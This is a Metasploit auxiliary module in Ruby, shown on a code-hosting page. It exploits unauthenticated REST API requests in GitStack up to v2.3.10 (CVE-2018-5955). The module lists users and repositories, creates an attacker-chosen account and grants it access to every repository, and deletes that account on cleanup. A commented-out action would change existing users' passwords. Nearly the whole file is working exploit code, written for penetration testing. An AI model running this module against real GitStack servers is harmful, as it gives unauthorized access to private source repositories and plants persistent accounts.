Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/gitstack_rest.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'GitStack Unauthenticated REST API Requests',
15
'Description' => %q{
16
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.
17
The module supports requests for listing users of the application and listing
18
available repositories. Additionally, the module can create a user and add the user
19
to the application's repositories. This module has been tested against GitStack v2.3.10.
20
},
21
'Author' => [
22
'Kacper Szurek', # Vulnerability discovery and PoC
23
'Jacob Robles' # Metasploit module
24
],
25
'License' => MSF_LICENSE,
26
'References' => [
27
['CVE', '2018-5955'],
28
['EDB', '43777'],
29
['EDB', '44044']
30
],
31
'DisclosureDate' => '2018-01-15',
32
'Actions' => [
33
[
34
'LIST',
35
{
36
'Description' => 'List application users',
37
'List' => 'GET',
38
'UserPath' => '/rest/user/'
39
}
40
],
41
[
42
'CREATE',
43
{
44
'Description' => 'Create a user on the application',
45
'Create' => 'POST',
46
'List' => 'GET',
47
'UserPath' => '/rest/user/',
48
'RepoPath' => '/rest/repository/'
49
}
50
],
51
# If this is uncommented, you will be able to change an
52
# existing user's password.
53
# After modifying the user's password, the user will be
54
# added to all available repositories.
55
# The cleanup action removes the user from all repositories
56
# and then deletes the user... so this action may not be desirable.
57
# [
58
# 'MODIFY',
59
# {
60
# 'Description' => "Change the application user's password",
61
# 'Create' => 'PUT',
62
# 'List' => 'GET',
63
# 'UserPath' => '/rest/user/',
64
# 'RepoPath' => '/rest/repository/'
65
# }
66
# ],
67
[
68
'LIST_REPOS',
69
{
70
'Description' => 'List available repositories',
71
'List' => 'GET',
72
'RepoPath' => '/rest/repository/'
73
}
74
],
75
[
76
'CLEANUP',
77
{
78
'Description' => 'Remove user from repositories and delete user',
79
'List' => 'GET',
80
'Remove' => 'DELETE',
81
'RepoPath' => '/rest/repository/',
82
'UserPath' => '/rest/user/'
83
}
84
]
85
],
86
'DefaultAction' => 'LIST',
87
'Notes' => {
88
'Stability' => [CRASH_SAFE],
89
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
90
'Reliability' => []
91
}
92
)
93
)
94
95
register_options(
96
[
97
OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),
98
OptString.new('PASSWORD', [false, 'Password for user', 'password'])
99
]
100
)
101
end
102
103
def get_users
104
path = action.opts['UserPath']
105
begin
106
res = send_request_cgi({
107
'uri' => path,
108
'method' => action.opts['List']
109
})
110
rescue Rex::ConnectionError, Errno::ECONNRESET => e
111
print_error("Failed: #{e.class} - #{e.message}")
112
return
113
end
114
if res && res.code == 200
115
begin
116
mylist = res.get_json_document
117
mylist -= ['everyone']
118
rescue JSON::ParserError => e
119
print_error("Failed: #{e.class} - #{e.message}")
120
return
121
end
122
mylist.each do |item|
123
print_good(item.to_s)
124
end
125
end
126
end
127
128
def get_repos
129
path = action.opts['RepoPath']
130
begin
131
res = send_request_cgi({
132
'uri' => path,
133
'method' => action.opts['List']
134
})
135
rescue Rex::ConnectionError, Errno::ECONNRESET => e
136
print_error("Failed: #{e.class} - #{e.message}")
137
return nil
138
end
139
if res && res.code == 200
140
begin
141
mylist = res.get_json_document
142
return mylist
143
rescue JSON::ParserError => e
144
print_error("Failed: #{e.class} - #{e.message}")
145
return nil
146
end
147
else
148
return nil
149
end
150
end
151
152
def clean_app
153
user = datastore['USERNAME']
154
unless user
155
print_error('USERNAME required')
156
return
157
end
158
159
mylist = get_repos
160
if mylist
161
# Remove user from each repository
162
mylist.each do |item|
163
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
164
begin
165
res = send_request_cgi({
166
'uri' => path,
167
'method' => action.opts['Remove']
168
})
169
rescue Rex::ConnectionError, Errno::ECONNRESET => e
170
print_error("Failed: #{e.class} - #{e.message}")
171
break
172
end
173
174
if res && res.code == 200
175
print_good(res.body.to_s)
176
else
177
print_status("User #{user} doesn't have access to #{item['name']}")
178
end
179
end
180
end
181
182
# Delete the user account
183
path = "#{action.opts['UserPath']}#{user}/"
184
begin
185
res = send_request_cgi({
186
'uri' => path,
187
'method' => action.opts['Remove']
188
})
189
rescue Rex::ConnectionError, Errno::ECONNRESET => e
190
print_error("Failed: #{e.class} - #{e.message}")
191
return
192
end
193
194
# Check if the account was successfully deleted
195
if res && res.code == 200
196
print_good(res.body.to_s)
197
else
198
print_error(res.body.to_s)
199
end
200
end
201
202
def add_user
203
user = datastore['USERNAME']
204
pass = datastore['PASSWORD']
205
206
begin
207
res = send_request_cgi({
208
'uri' => action.opts['UserPath'],
209
'method' => action.opts['Create'],
210
'vars_post' => {
211
'username' => user,
212
'password' => pass
213
}
214
})
215
rescue Rex::ConnectionError, Errno::ECONNRESET => e
216
print_error("Failed: #{e.class} - #{e.message}")
217
return
218
end
219
if res && res.code == 200
220
print_good("SUCCESS: #{user}:#{pass}")
221
else
222
print_error(res.body.to_s)
223
return
224
end
225
226
mylist = get_repos
227
if mylist
228
mylist.each do |item|
229
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
230
begin
231
res = send_request_cgi({
232
'uri' => path,
233
'method' => action.opts['Create']
234
})
235
rescue Rex::ConnectionError, Errno::ECONNRESET => e
236
print_error("Failed: #{e.class} - #{e.message}")
237
next
238
end
239
if res && res.code == 200
240
print_good(res.body.to_s)
241
else
242
print_error('Failed to add user')
243
print_error(res.body.to_s)
244
end
245
end
246
else
247
print_error('Failed to retrieve repository list')
248
end
249
end
250
251
def run
252
if ['LIST'].include?(action.name)
253
print_status('Retrieving Users')
254
get_users
255
elsif ['LIST_REPOS'].include?(action.name)
256
print_status('Retrieving Repositories')
257
mylist = get_repos
258
if mylist
259
mylist.each do |item|
260
print_good(item['name'].to_s)
261
end
262
else
263
print_error('Failed to retrieve repository list')
264
end
265
elsif ['CLEANUP'].include?(action.name)
266
clean_app
267
elsif datastore['USERNAME'] && datastore['PASSWORD']
268
add_user
269
else
270
print_error('USERNAME and PASSWORD required')
271
end
272
end
273
end
274
275